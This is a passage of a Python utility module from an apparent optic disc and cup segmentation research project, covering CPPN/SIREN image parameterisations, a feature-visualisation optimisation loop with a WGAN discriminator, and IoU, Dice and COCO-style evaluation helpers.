img.device)\n # maps = torch.nn.Sigmoid()(maps)\n return torch.cat((img,maps),1)\n # return torch.cat((img,maps),1)\n return inner\n\ndef raw_out(maps_f,img): #raw\n def inner():\n maps = maps_f()\n maps = maps.to(device = img.device)\n # maps = torch.nn.Sigmoid()(maps)\n return maps\n # return torch.cat((img,maps),1)\n return inner \n\n\nclass CompositeActivation(torch.nn.Module):\n\n def forward(self, x):\n x = torch.atan(x)\n return torch.cat([x/0.67, (x*x)/0.6], 1)\n # return x\n\n\ndef cppn(args, size, img = None, seg = None, batch=None, num_output_channels=1, num_hidden_channels=128, num_layers=8,\n activation_fn=CompositeActivation, normalize=False, device = \"cuda:0\"):\n\n r = 3 ** 0.5\n\n coord_range = torch.linspace(-r, r, size)\n x = coord_range.view(-1, 1).repeat(1, coord_range.size(0))\n y = coord_range.view(1, -1).repeat(coord_range.size(0), 1)\n\n input_tensor = torch.stack([x, y], dim=0).unsqueeze(0).repeat(batch,1,1,1).to(device)\n\n layers = []\n kernel_size = 1\n for i in range(num_layers):\n out_c = num_hidden_channels\n in_c = out_c * 2 # * 2 for composite activation\n if i == 0:\n in_c = 2\n if i == num_layers - 1:\n out_c = num_output_channels\n layers.append(('conv{}'.format(i), torch.nn.Conv2d(in_c, out_c, kernel_size)))\n if normalize:\n layers.append(('norm{}'.format(i), torch.nn.InstanceNorm2d(out_c)))\n if i < num_layers - 1:\n layers.append(('actv{}'.format(i), activation_fn()))\n else:\n layers.append(('output', torch.nn.Sigmoid()))\n\n # Initialize model\n net = torch.nn.Sequential(OrderedDict(layers)).to(device)\n # Initialize weights\n def weights_init(module):\n if isinstance(module, torch.nn.Conv2d):\n torch.nn.init.normal_(module.weight, 0, np.sqrt(1/module.in_channels))\n if module.bias is not None:\n torch.nn.init.zeros_(module.bias)\n net.apply(weights_init)\n # Set last conv2d layer's weights to 0\n torch.nn.init.zeros_(dict(net.named_children())['conv{}'.format(num_layers - 1)].weight)\n outimg = raw_out(lambda: net(input_tensor),img) if args.netype == 'raw' else to_valid_out(lambda: net(input_tensor),img,seg)\n return net.parameters(), outimg\n\ndef get_siren(args):\n wrapper = get_network(args, 'siren', use_gpu=args.gpu, gpu_device=torch.device('cuda', args.gpu_device), distribution = args.distributed)\n '''load init weights'''\n checkpoint = torch.load('./logs/siren_train_init_2022_08_19_21_00_16/Model/checkpoint_best.pth')\n wrapper.load_state_dict(checkpoint['state_dict'],strict=False)\n '''end'''\n\n '''load prompt'''\n checkpoint = torch.load('./logs/vae_standard_refuge1_2022_08_21_17_56_49/Model/checkpoint500')\n vae = get_network(args, 'vae', use_gpu=args.gpu, gpu_device=torch.device('cuda', args.gpu_device), distribution = args.distributed)\n vae.load_state_dict(checkpoint['state_dict'],strict=False)\n '''end'''\n\n return wrapper, vae\n\n\ndef siren(args, wrapper, vae, img = None, seg = None, batch=None, num_output_channels=1, num_hidden_channels=128, num_layers=8,\n activation_fn=CompositeActivation, normalize=False, device = \"cuda:0\"):\n vae_img = torchvision.transforms.Resize(64)(img)\n latent = vae.encoder(vae_img).view(-1).detach()\n outimg = raw_out(lambda: wrapper(latent = latent),img) if args.netype == 'raw' else to_valid_out(lambda: wrapper(latent = latent),img,seg)\n # img = torch.randn(1, 3, 256, 256)\n # loss = wrapper(img)\n # loss.backward()\n\n # # after much training ...\n # # simply invoke the wrapper without passing in anything\n\n # pred_img = wrapper() # (1, 3, 256, 256)\n return wrapper.parameters(), outimg\n \n\n'''adversary'''\ndef render_vis(\n args,\n model,\n objective_f,\n real_img,\n param_f=None,\n optimizer=None,\n transforms=None,\n thresholds=(256,),\n verbose=True,\n preprocess=True,\n progress=True,\n show_image=True,\n save_image=False,\n image_name=None,\n show_inline=False,\n fixed_image_size=None,\n label = 1,\n raw_img = None,\n prompt = None\n):\n if label == 1:\n sign = 1\n elif label == 0:\n sign = -1\n else:\n print('label is wrong, label is',label)\n if args.reverse:\n sign = -sign\n if args.multilayer:\n sign = 1\n\n '''prepare'''\n now = datetime.now()\n date_time = now.strftime(\"%m-%d-%Y, %H:%M:%S\")\n\n netD, optD = pre_d()\n '''end'''\n\n if param_f is None:\n param_f = lambda: param.image(128)\n # param_f is a function that should return two things\n # params - parameters to update, which we pass to the optimizer\n # image_f - a function that returns an image as a tensor\n params, image_f = param_f()\n \n if optimizer is None:\n optimizer = lambda params: torch.optim.Adam(params, lr=5e-1)\n optimizer = optimizer(params)\n\n if transforms is None:\n transforms = []\n transforms = transforms.copy()\n\n # Upsample images smaller than 224\n image_shape = image_f().shape\n\n if fixed_image_size is not None:\n new_size = fixed_image_size\n elif image_shape[2] < 224 or image_shape[3] < 224:\n new_size = 224\n else:\n new_size = None\n if new_size:\n transforms.append(\n torch.nn.Upsample(size=new_size, mode=\"bilinear\", align_corners=True)\n )\n\n transform_f = transform.compose(transforms)\n\n hook = hook_model(model, image_f)\n objective_f = objectives.as_objective(objective_f)\n\n if verbose:\n model(transform_f(image_f()))\n print(\"Initial loss of ad: {:.3f}\".format(objective_f(hook)))\n\n images = []\n try:\n for i in tqdm(range(1, max(thresholds) + 1), disable=(not progress)):\n optimizer.zero_grad()\n try:\n model(transform_f(image_f()))\n except RuntimeError as ex:\n if i == 1:\n # Only display the warning message\n # on the first iteration, no need to do that\n # every iteration\n warnings.warn(\n \"Some layers could not be computed because the size of the \"\n \"image is not big enough. It is fine, as long as the non\"\n \"computed layers are not used in the objective function\"\n f\"(exception details: '{ex}')\"\n )\n if args.disc:\n '''dom loss part'''\n # content_img = raw_img\n # style_img = raw_img\n # precpt_loss = run_precpt(cnn, cnn_normalization_mean, cnn_normalization_std, content_img, style_img, transform_f(image_f()))\n for p in netD.parameters():\n p.requires_grad = True\n for _ in range(args.drec):\n netD.zero_grad()\n real = real_img\n fake = image_f()\n # for _ in range(6):\n # errD, D_x, D_G_z1 = update_d(args, netD, optD, real, fake)\n\n # label = torch.full((args.b,), 1., dtype=torch.float, device=device)\n # label.fill_(1.)\n # output = netD(fake).view(-1)\n # errG = nn.BCELoss()(output, label)\n # D_G_z2 = output.mean().item()\n # dom_loss = err\n one = torch.tensor(1, dtype=torch.float)\n mone = one * -1\n one = one.cuda(args.gpu_device)\n mone = mone.cuda(args.gpu_device)\n\n d_loss_real = netD(real)\n d_loss_real = d_loss_real.mean()\n d_loss_real.backward(mone)\n\n d_loss_fake = netD(fake)\n d_loss_fake = d_loss_fake.mean()\n d_loss_fake.backward(one)\n\n # Train with gradient penalty\n gradient_penalty = calculate_gradient_penalty(netD, real.data, fake.data)\n gradient_penalty.backward()\n\n\n d_loss = d_loss_fake - d_loss_real + gradient_penalty\n Wasserstein_D = d_loss_real - d_loss_fake\n optD.step()\n\n # Generator update\n for p in netD.parameters():\n p.requires_grad = False # to avoid computation\n\n fake_images = image_f()\n g_loss = netD(fake_images)\n g_loss = -g_loss.mean()\n dom_loss = g_loss\n g_cost = -g_loss\n\n if i% 5 == 0:\n print(f' loss_fake: {d_loss_fake}, loss_real: {d_loss_real}')\n print(f'Generator g_loss: {g_loss}')\n '''end'''\n\n\n\n '''ssim loss'''\n\n '''end'''\n\n if args.disc:\n loss = sign * objective_f(hook) + args.pw * dom_loss\n # loss = args.pw * dom_loss\n else:\n loss = sign * objective_f(hook)\n # loss = args.pw * dom_loss\n\n loss.backward()\n\n # #video the images\n # if i % 5 == 0:\n # print('1')\n # image_name = image_name[0].split('\\\\')[-1].split('.')[0] + '_' + str(i) + '.png'\n # img_path = os.path.join(args.path_helper['sample_path'], str(image_name))\n # export(image_f(), img_path)\n # #end\n # if i % 50 == 0:\n # print('Loss_D: %.4f\\tLoss_G: %.4f\\tD(x): %.4f\\tD(G(z)): %.4f / %.4f'\n # % (errD.item(), errG.item(), D_x, D_G_z1, D_G_z2))\n\n optimizer.step()\n if i in thresholds:\n image = tensor_to_img_array(image_f())\n # if verbose:\n # print(\"Loss at step {}: {:.3f}\".format(i, objective_f(hook)))\n if save_image:\n na = image_name[0].split('\\\\')[-1].split('.')[0] + '_' + str(i) + '.png'\n na = date_time + na\n outpath = args.quickcheck if args.quickcheck else args.path_helper['sample_path']\n img_path = os.path.join(outpath, str(na))\n export(image_f(), img_path)\n \n images.append(image)\n except KeyboardInterrupt:\n print(\"Interrupted optimization at step {:d}.\".format(i))\n if verbose:\n print(\"Loss at step {}: {:.3f}\".format(i, objective_f(hook)))\n images.append(tensor_to_img_array(image_f()))\n\n if save_image:\n na = image_name[0].split('\\\\')[-1].split('.')[0] + '.png'\n na = date_time + na\n outpath = args.quickcheck if args.quickcheck else args.path_helper['sample_path']\n img_path = os.path.join(outpath, str(na))\n export(image_f(), img_path)\n if show_inline:\n show(tensor_to_img_array(image_f()))\n elif show_image:\n view(image_f())\n return image_f()\n\n\ndef tensor_to_img_array(tensor):\n image = tensor.cpu().detach().numpy()\n image = np.transpose(image, [0, 2, 3, 1])\n return image\n\n\ndef view(tensor):\n image = tensor_to_img_array(tensor)\n assert len(image.shape) in [\n 3,\n 4,\n ], \"Image should have 3 or 4 dimensions, invalid image shape {}\".format(image.shape)\n # Change dtype for PIL.Image\n image = (image * 255).astype(np.uint8)\n if len(image.shape) == 4:\n image = np.concatenate(image, axis=1)\n Image.fromarray(image).show()\n\n\ndef export(tensor, img_path=None):\n # image_name = image_name or \"image.jpg\"\n c = tensor.size(1)\n # if c == 7:\n # for i in range(c):\n # w_map = tensor[:,i,:,:].unsqueeze(1)\n # w_map = tensor_to_img_array(w_map).squeeze()\n # w_map = (w_map * 255).astype(np.uint8)\n # image_name = image_name[0].split('/')[-1].split('.')[0] + str(i)+ '.png'\n # wheat = sns.heatmap(w_map,cmap='coolwarm')\n # figure = wheat.get_figure() \n # figure.savefig ('./fft_maps/weightheatmap/'+str(image_name), dpi=400)\n # figure = 0\n # else:\n if c == 3:\n vutils.save_image(tensor, fp = img_path)\n else:\n image = tensor[:,0:3,:,:]\n w_map = tensor[:,-1,:,:].unsqueeze(1)\n image = tensor_to_img_array(image)\n w_map = 1 - tensor_to_img_array(w_map).squeeze()\n # w_map[w_map==1] = 0\n assert len(image.shape) in [\n 3,\n 4,\n ], \"Image should have 3 or 4 dimensions, invalid image shape {}\".format(image.shape)\n # Change dtype for PIL.Image\n image = (image * 255).astype(np.uint8)\n w_map = (w_map * 255).astype(np.uint8)\n\n Image.fromarray(w_map,'L').save(img_path)\n\n\nclass ModuleHook:\n def __init__(self, module):\n self.hook = module.register_forward_hook(self.hook_fn)\n self.module = None\n self.features = None\n\n\n def hook_fn(self, module, input, output):\n self.module = module\n self.features = output\n\n\n def close(self):\n self.hook.remove()\n\n\ndef hook_model(model, image_f):\n features = OrderedDict()\n # recursive hooking function\n def hook_layers(net, prefix=[]):\n if hasattr(net, \"_modules\"):\n for name, layer in net._modules.items():\n if layer is None:\n # e.g. GoogLeNet's aux1 and aux2 layers\n continue\n features[\"_\".join(prefix + [name])] = ModuleHook(layer)\n hook_layers(layer, prefix=prefix + [name])\n\n hook_layers(model)\n\n def hook(layer):\n if layer == \"input\":\n out = image_f()\n elif layer == \"labels\":\n out = list(features.values())[-1].features\n else:\n assert layer in features, f\"Invalid layer {layer}. Retrieve the list of layers with `lucent.modelzoo.util.get_model_layers(model)`.\"\n out = features[layer].features\n assert out is not None, \"There are no saved feature maps. Make sure to put the model in eval mode, like so: `model.to(device).eval()`. See README for example.\"\n return out\n\n return hook\n\n\ndef vis_image(imgs, pred_masks, gt_masks, save_path, reverse=False, points=None, box=None):\n b, c, h, w = pred_masks.size()\n dev = pred_masks.get_device()\n row_num = min(b, 4)\n\n if torch.max(pred_masks) > 1 or torch.min(pred_masks) < 0:\n pred_masks = torch.sigmoid(pred_masks)\n\n # if reverse == True:\n # pred_masks = 1 - pred_masks\n # gt_masks = 1 - gt_masks\n # if c == 2:\n # pred_disc, pred_cup = pred_masks[:,0,:,:].unsqueeze(1).expand(b,3,h,w), pred_masks[:,1,:,:].unsqueeze(1).expand(b,3,h,w)\n # gt_disc, gt_cup = gt_masks[:,0,:,:].unsqueeze(1).expand(b,3,h,w), gt_masks[:,1,:,:].unsqueeze(1).expand(b,3,h,w)\n # tup = (imgs[:row_num,:,:,:],pred_disc[:row_num,:,:,:], pred_cup[:row_num,:,:,:], gt_disc[:row_num,:,:,:], gt_cup[:row_num,:,:,:])\n # # compose = torch.cat((imgs[:row_num,:,:,:],pred_disc[:row_num,:,:,:], pred_cup[:row_num,:,:,:], gt_disc[:row_num,:,:,:], gt_cup[:row_num,:,:,:]),0)\n # compose = torch.cat((pred_disc[:row_num,:,:,:], pred_cup[:row_num,:,:,:], gt_disc[:row_num,:,:,:], gt_cup[:row_num,:,:,:]),0)\n # vutils.save_image(compose, fp = save_path, nrow = row_num, padding = 10)\n # else:\n imgs = torchvision.transforms.Resize((h, w))(imgs)\n if imgs.size(1) == 1:\n imgs = imgs[:, 0, :, :].unsqueeze(1).expand(b, 3, h, w)\n pred_masks = pred_masks[:, 0, :, :].unsqueeze(1).expand(b, 3, h, w)\n gt_masks = gt_masks[:, 0, :, :].unsqueeze(1).expand(b, 3, h, w)\n\n if points != None:\n for i in range(b):\n if args.thd:\n p = np.round(points.cpu() / args.roi_size * args.out_size).to(dtype=torch.int)\n else:\n p = np.round(points.cpu() / args.image_size * args.out_size).to(dtype=torch.int)\n # gt_masks[i,:,points[i,0]-5:points[i,0]+5,points[i,1]-5:points[i,1]+5] = torch.Tensor([255, 0, 0]).to(dtype = torch.float32, device = torch.device('cuda:' + str(dev)))\n gt_masks[i, 0, p[i, 0] - 5:p[i, 0] + 5, p[i, 1] - 5:p[i, 1] + 5] = 0.5\n gt_masks[i, 1, p[i, 0] - 5:p[i, 0] + 5, p[i, 1] - 5:p[i, 1] + 5] = 0.1\n gt_masks[i, 2, p[i, 0] - 5:p[i, 0] + 5, p[i, 1] - 5:p[i, 1] + 5] = 0.4\n\n if box != None and b == 1:\n box = box.squeeze(0).squeeze(0)\n points1 = torch.tensor(np.array([box[0], box[1]]))\n points2 = torch.tensor(np.array([box[2], box[3]]))\n for i in range(b):\n p1 = np.round(points1.cpu() / args.image_size * args.out_size).to(dtype=torch.int)\n p2 = np.round(points2.cpu() / args.image_size * args.out_size).to(dtype=torch.int)\n p1[0] = 2 if p1[0] - 2 <= 0 else p1[0]\n p1[1] = 2 if p1[1] - 2 <= 0 else p1[1]\n p2[0] = args.out_size - 1 if p2[0] + 2 >= args.out_size - 1 else p2[0]\n p2[1] = args.out_size - 1 if p2[1] + 2 >= args.out_size - 1 else p2[1]\n\n gt_masks[i, 0, p1[1] - 2:p2[1] + 2, p1[0] - 2:p1[0] + 2] = 0.5 # 左\n gt_masks[i, 0, p1[1] - 2:p2[1] + 2, p2[0] - 2:p2[0] + 2] = 0.5 # 右\n gt_masks[i, 0, p1[1] - 2:p1[1] + 2, p1[0] - 2:p2[0] + 2] = 0.5 # 上\n gt_masks[i, 0, p2[1] - 2:p2[1] + 2, p1[0] - 2:p2[0] + 2] = 0.5 # 下\n\n tup = (imgs[:row_num, :, :, :], pred_masks[:row_num, :, :, :], gt_masks[:row_num, :, :, :])\n # compose = torch.cat((imgs[:row_num,:,:,:],pred_disc[:row_num,:,:,:], pred_cup[:row_num,:,:,:], gt_disc[:row_num,:,:,:], gt_cup[:row_num,:,:,:]),0)\n compose = torch.cat(tup, 0)\n vutils.save_image(compose, fp=save_path, nrow=row_num, padding=10)\n\n return\n\ndef eval_seg(pred,true_mask_p,threshold):\n '''\n threshold: a int or a tuple of int\n masks: [b,2,h,w]\n pred: [b,2,h,w]\n '''\n b, c, h, w = pred.size()\n if c == 2:\n iou_d, iou_c, disc_dice, cup_dice = 0,0,0,0\n for th in threshold:\n\n gt_vmask_p = (true_mask_p > th).float()\n vpred = (pred > th).float()\n vpred_cpu = vpred.cpu()\n disc_pred = vpred_cpu[:,0,:,:].numpy().astype('int32')\n cup_pred = vpred_cpu[:,1,:,:].numpy().astype('int32')\n\n disc_mask = gt_vmask_p [:,0,:,:].squeeze(1).cpu().numpy().astype('int32')\n cup_mask = gt_vmask_p [:, 1, :, :].squeeze(1).cpu().numpy().astype('int32')\n \n '''iou for numpy'''\n iou_d += iou(disc_pred,disc_mask)\n iou_c += iou(cup_pred,cup_mask)\n\n '''dice for torch'''\n disc_dice += dice_coeff(vpred[:,0,:,:], gt_vmask_p[:,0,:,:]).item()\n cup_dice += dice_coeff(vpred[:,1,:,:], gt_vmask_p[:,1,:,:]).item()\n \n return iou_d / len(threshold), iou_c / len(threshold), disc_dice / len(threshold), cup_dice / len(threshold)\n else:\n eiou, edice = 0,0\n for th in threshold:\n\n gt_vmask_p = (true_mask_p > th).float()\n vpred = (pred > th).float()\n vpred_cpu = vpred.cpu()\n disc_pred = vpred_cpu[:,0,:,:].numpy().astype('int32')\n\n disc_mask = gt_vmask_p [:,0,:,:].squeeze(1).cpu().numpy().astype('int32')\n \n '''iou for numpy'''\n eiou += iou(disc_pred,disc_mask)\n\n '''dice for torch'''\n edice += dice_coeff(vpred[:,0,:,:], gt_vmask_p[:,0,:,:]).item()\n \n return eiou / len(threshold), edice / len(threshold)\n\ndef batched_mask_to_box(masks: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Calculates boxes in XYXY format around masks. Return [0,0,0,0] for\n an empty mask. For input shape C1xC2x...xHxW, the output shape is C1xC2x...x4.\n \"\"\"\n # torch.max below raises an error on empty inputs, just skip in this case\n if torch.numel(masks) == 0: # 获取tensor中一共有多少元素\n return torch.zeros(*masks.shape[:-2], 4, device=masks.device)\n\n # Normalize shape to CxHxW\n shape = masks.shape\n h, w = shape[-2:]\n if len(shape) > 2:\n masks = masks.flatten(0, -3)\n else:\n masks = masks.unsqueeze(0)\n\n # Get top and bottom edges\n in_height, _ = torch.max(masks, dim=-1)\n in_height_coords = in_height * torch.arange(h, device=in_height.device)[None, :]\n bottom_edges, _ = torch.max(in_height_coords, dim=-1)\n in_height_coords = in_height_coords + h * (~in_height)\n top_edges, _ = torch.min(in_height_coords, dim=-1)\n\n # Get left and right edges\n in_width, _ = torch.max(masks, dim=-2)\n in_width_coords = in_width * torch.arange(w, device=in_width.device)[None, :]\n right_edges, _ = torch.max(in_width_coords, dim=-1)\n in_width_coords = in_width_coords + w * (~in_width)\n left_edges, _ = torch.min(in_width_coords, dim=-1)\n\n # If the mask is empty the right edge will be to the left of the left edge.\n # Replace these boxes with [0, 0, 0, 0]\n empty_filter = (right_edges < left_edges) | (bottom_edges < top_edges)\n out = torch.stack([left_edges, top_edges, right_edges, bottom_edges], dim=-1)\n out = out * (~empty_filter).unsqueeze(-1)\n\n # Return to original shape\n if len(shape) > 2:\n out = out.reshape(*shape[:-2], 4)\n else:\n out = out[0]\n\n return out\n\ndef mask_find_bboxs(mask):\n retval, labels, stats, centroids = cv2.connectedComponentsWithStats(mask, connectivity=8) # connectivity参数的默认值为8\n stats = stats[stats[:, 4].argsort()]\n return stats[:-1,:4] # stats[:-1] # 排除最外层的连通图\n\n\ndef get_preprocess_shape(oldh: int, oldw: int, long_side_length: int) -> Tuple[int, int]:\n \"\"\"\n Compute the output size given input size and target long side length.\n \"\"\"\n scale = long_side_length * 1.0 / max(oldh, oldw)\n newh, neww = oldh * scale, oldw * scale\n neww = int(neww + 0.5)\n newh = int(newh + 0.5)\n return (newh, neww)\n\n\ndef apply_boxes(bboxes: np.ndarray, ori_img_size: Tuple[int, ...], target_img_size: Tuple[int, ...]) -> np.ndarray:\n\n for i in range(len(bboxes)):\n bboxes[i][0] = target_img_size[1] / ori_img_size[1] * bboxes[i][0]\n bboxes[i][1] = target_img_size[0] / ori_img_size[0] * bboxes[i][1]\n bboxes[i][2] = target_img_size[1] / ori_img_size[1] * bboxes[i][2]\n bboxes[i][3] = target_img_size[0] / ori_img_size[0] * bboxes[i][3]\n\n return bboxes\n\ndef computeIoU(box1, box2):\n x1, y1, x2, y2 = box1[0], box1[1], box1[0] + box1[2], box1[1] + box1[3] # box1的左上角坐标、右下角坐标\n x3, y3, x4, y4 = box2[0], box2[1], box2[0] + box2[2], box2[1] + box2[3] # box1的左上角坐标、右下角坐标\n\n # 计算交集的坐标\n x_inter1 = max(x1, x3) # union的左上角x\n y_inter1 = max(y1, y3) # union的左上角y\n x_inter2 = min(x2, x4) # union的右下角x\n y_inter2 = min(y2, y4) # union的右下角y\n\n # 计算交集部分面积,因为图像是像素点,所以计算图像的长度需要加一\n # 比如有两个像素点(0,0)、(1,0),那么图像的长度是1-0+1=2,而不是1-0=1\n interArea = max(0, x_inter2 - x_inter1 + 1) * max(0, y_inter2 - y_inter1 + 1)\n\n # 分别计算两个box的面积\n area_box1 = (x2 - x1 + 1) * (y2 - y1 + 1)\n area_box2 = (x4 - x3 + 1) * (y4 - y3 + 1)\n\n # 计算IOU,交集比并集,并集面积=两个矩形框面积和-交集面积\n iou = interArea / (area_box1 + area_box2 - interArea)\n\n return iou\n\ndef getIoU(gt_bboxes, bboxes):\n # ious = {\n # (gt_id, pre_id): computeIoU(gt_bboxes[gt_id], bboxes[pre_id]) for gt_id in range(len(gt_bboxes)) for pre_id in range(len(bboxes))\n # }\n iou = numpy.empty([len(bboxes), len(gt_bboxes)], dtype = float, order = 'C')\n for pre_id in range(len(bboxes)):\n for gt_id in range(len(gt_bboxes)):\n iou[pre_id, gt_id] = computeIoU(bboxes[pre_id], gt_bboxes[gt_id])\n ious = [[iou]]\n # ious = [[ious[gt_id, catId] for catId in catIds] for imgId in p.imgIds]\n return ious\n\ndef deal_with_bboxes(bboxes, mode=\"groundtruth\"):\n _instances = collections.defaultdict(list)\n dicts = []\n if mode==\"groundtruth\":\n for i in range(len(bboxes)):\n dict = {'id': i+1,\n 'image_id': 0,\n 'bbox': bboxes[i],\n 'area': bboxes[i][2] * bboxes[i][3],\n 'iscrowd': 0,\n 'category_id': 0,\n 'ignore': 0}\n dicts.append(dict)\n elif mode== \"detection\":\n for i in range(len(bboxes)):\n dict = {'image_id': 0,\n 'category_id': 0,\n 'bbox': bboxes[i],\n 'score': 1.0,\n 'segmentation':[bboxes[i][0], bboxes[i][1], bboxes[i][0], bboxes[i][1] + bboxes[i][3],\n bboxes[i][0] + bboxes[i][2], bboxes[i][1] + bboxes[i][3],\n bboxes[i][0] + bboxes[i][2], bboxes[i][1]\n ],\n 'area': bboxes[i][2] * bboxes[i][3],\n 'id': i + 1,\n 'iscrowd': 0}\n dicts.append(dict)\n _instances[(0,0)] = dicts\n\n def convert_instances_to_cpp(instances, is_det=False):\n # Convert annotations for a list of instances in an image to a format that's fast\n # to access in C++\n instances_cpp = []\n for instance in instances:\n instance_cpp = _C.InstanceAnnotation(\n int(instance[\"id\"]),\n instance[\"score\"] if is_det else instance.get(\"score\", 0.0),\n instance[\"area\"],\n bool(instance.get(\"iscrowd\", 0)),\n bool(instance.get(\"ignore\", 0)),\n )\n instances_cpp.append(instance_cpp)\n return instances_cpp\n\n instances = [\n [convert_instances_to_cpp(_instances[0, 0])]\n ]\n return instances\n\ndef evaluate(params,ious, gt_instances, pre_instances):\n _evalImgs_cpp = _C.COCOevalEvaluateImages(\n params.areaRng, params.maxDets[-1], params.iouThrs, ious, gt_instances, pre_instances\n )\n _paramsEval = copy.deepcopy(params)\n\n return _evalImgs_cpp, _paramsEval\n\n\ndef accumulate(_evalImgs_cpp, _paramsEval):\n logger = logging.getLogger(__name__)\n\n logger.info(\"Accumulating evaluation results...\")\n tic = time.time()\n eval_results = _C.COCOevalAccumulate(_paramsEval, _evalImgs_cpp)\n\n # recall is num_iou_thresholds X num_categories X num_area_ranges X num_max_detections\n eval_results[\"recall\"] = np.array(eval_results[\"recall\"]).reshape(\n eval_results[\"counts\"][:1] + eval_results[\"counts\"][2:]\n )\n\n # precision and scores are num_iou_thresholds X num_recall_thresholds X num_categories X\n # num_area_ranges X num_max_detections\n eval_results[\"precision\"] = np.array(eval_results[\"precision\"]).reshape(eval_results[\"counts\"])\n eval_results[\"scores\"] = np.array(eval_results[\"scores\"]).reshape(eval_results[\"counts\"])\n toc = time.time()\n logger.info(\"COCOeval_opt.accumulate() finished in {:0.2f} seconds.\".format(toc - tic))\n\n return eval_results\n\ndef summarize(params, eval_results):\n '''\n Compute and display summary metrics for evaluation results.\n Note this functin can *only* be applied on the default parameter setting\n '''\n def _summarize(ap=1, iouThr=None, areaRng='all', maxDets=100 ):\n p = params\n iStr = ' {:<18} {} @[ IoU={:<9} | area={:>6s} | maxDets={:>3d} ] = {:0.3f}'\n titleStr = 'Average Precision' if ap == 1 else 'Average Recall'\n typeStr = '(AP)' if ap==1 else '(AR)'\n iouStr = '{:0.2f}:{:0.2f}'.format(p.iouThrs[0], p.iouThrs[-1]) \\\n if iouThr is None else '{:0.2f}'.format(iouThr)\n\n aind = [i for i, aRng in enumerate(p.areaRngLbl) if aRng == areaRng]\n mind = [i for i, mDet in enumerate(p.maxDets) if mDet == maxDets]\n if ap == 1:\n # dimension of precision: [TxRxKxAxM]\n s = eval_results['precision']\n # IoU\n if iouThr is not None:\n t = np.where(iouThr == p.iouThrs)[0]\n s = s[t]\n s = s[:,:,:,aind,mind]\n else:\n # dimension of recall: [TxKxAxM]\n s = eval_results['recall']\n if iouThr is not None:\n t = np.where(iouThr == p.iouThrs)[0]\n s = s[t]\n s = s[:,:,aind,mind]\n if len(s[s>-1])==0:\n mean_s = -1\n else:\n mean_s = np.mean(s[s>-1])\n print(iStr.format(titleStr, typeStr, iouStr, areaRng, maxDets, mean_s))\n return mean_s\n\n def _summarizeDets():\n stats = np.zeros((12,))\n stats[0] = _summarize(1)\n stats[1] = _summarize(1, iouThr=.5, maxDets=params.maxDets[2])\n stats[2] = _summarize(1, iouThr=.75, maxDets=params.maxDets[2])\n stats[3] = _summarize(1, areaRng='small', maxDets=params.maxDets[2])\n stats[4] = _summarize(1, areaRng='medium', maxDets=params.maxDets[2])\n stats[5] = _summarize(1, areaRng='large', maxDets=params.maxDets[2])\n stats[6] = _summarize(0, maxDets=params.maxDets[0])\n stats[7] = _summarize(0, maxDets=params.maxDets[1])\n stats[8] = _summarize(0, maxDets=params.maxDets[2])\n stats[9] = _summarize(0, areaRng='small', maxDets=params.maxDets[2])\n stats[10] = _summarize(0, areaRng='medium', maxDets=params.maxDets[2])\n stats[11] = _summarize(0, areaRng='large', maxDets=params.maxDets[2])\n return stats\n\n def _summarizeKps():\n stats = np.zeros((10,))\n stats[0] = _summarize(1, maxDets=20)\n stats[1] = _summarize(1, maxDets=20, iouThr=.5)\n stats[2] = _summarize(1, maxDets=20, iouThr=.75)\n stats[3] = _summarize(1, maxDets=20, areaRng='medium')\n stats[4] = _summarize(1, maxDets=20, areaRng='large')\n stats[5] = _summarize(0, maxDets=20)\n stats[6] = _summarize(0, maxDets=20, iouThr=.5)\n stats[7] = _summarize(0, maxDets=20, iouThr=.75)\n stats[8] = _summarize(0, maxDets=20, areaRng='medium')\n stats[9] = _summarize(0, maxDets=20, areaRng='large')\n return stats\n\n if not eval_results:\n raise Exception('Please run accumulate() first')\n iouType = params.iouType\n if iouType == 'segm' or iouType == 'bbox':\n summarize = _summarizeDets\n elif iouType == 'keypoints':\n summarize = _summarizeKps\n stats = summarize()\n\n\ndef eval_seqg_ob(pred, mask_old, gt_bboxes, threshold, img_size):\n '''\n threshold: a int or a tuple of int\n masks: [b,2,h,w]\n pred: [b,2,h,w]\n '''\n logger = logging.getLogger(__name__)\n b, c, h, w = pred.size()\n params = Params(iouType=\"bbox\")\n params.areaRng = [[0, 10000000000.0], [0, 1024], [1024, 9216], [9216, 10000000000.0]]\n params.iouThrs = np.array([0.5, 0.55, 0.6, 0.65, 0.7, 0.75, 0.8, 0.85, 0.9, 0.95])\n params.maxDets = [10, 100, 300]\n params.catIds = [0]\n params.imgIds = [0]\n params.areaRngLbl = ['all', 'small', 'medium', 'large']\n params.iouType = 'bbox'\n params.recThrs = np.array([0, 0.01, 0.02, 0.03, 0.04, 0.05,0.06, 0.07, 0.08, 0.09, 0.1, 0.11, 0.12, 0.13,\n 0.14, 0.15, 0.16, 0.17, 0.18, 0.19, 0.2, 0.21, 0.22, 0.23, 0.24, 0.25, 0.26, 0.27,\n 0.28, 0.29, 0.3, 0.31, 0.32, 0.33, 0.34, 0.35, 0.36, 0.37, 0.38, 0.39, 0.4, 0.41,\n 0.42, 0.43, 0.44, 0.45, 0.46, 0.47, 0.48, 0.49, 0.5, 0.51, 0.52, 0.53, 0.54, 0.55,\n 0.56, 0.57, 0.58, 0.59, 0.6, 0.61, 0.62, 0.63, 0.64, 0.65, 0.66, 0.67, 0.68, 0.69,\n 0.7, 0.71, 0.72, 0.73, 0.74, 0.75, 0.76, 0.77, 0.78, 0.79, 0.8, 0.81, 0.82, 0.83,\n 0.84, 0.85, 0.86, 0.87, 0.88, 0.89, 0.9, 0.91, 0.92, 0.93, 0.94, 0.95, 0.96, 0.97,\n 0.98, 0.99, 1.0])\n params.useCats = 1\n params.useSegm = None\n eiou, edice = 0, 0\n # for th in threshold:\n # data = {\"masks\": pred.flatten(0, 1)}\n # data[\"masks\"] = data[\"masks\"] > th\n # data[\"boxes\"] = batched_mask_to_box(data[\"masks\"])\n gt_bboxes = apply_boxes(gt_bboxes, img_size)\n gt_instances = deal_with_bboxes(gt_bboxes, mode=\"groundtruth\")\n for th in threshold:\n print(th)\n prediction = (pred > th).float().cpu().numpy()\n for i in range(prediction.shape[0]):\n arr = np.zeros((256, 256, 3))\n arr[:, :, 0] = prediction[i][0]\n arr[:, :, 1] = prediction[i][0]\n arr[:, :, 2] = prediction[i][0]\n arr = arr.astype(np.uint8)\n arr_gray = cv2.cvtColor(arr, cv2.COLOR_BGR2GRAY)\n bboxes = mask_find_bboxs(arr_gray)\n # ax = plt.axes()\n # plt.imshow(arr_gray, cmap='bone')\n # for j in bboxes:\n # if j[2] - 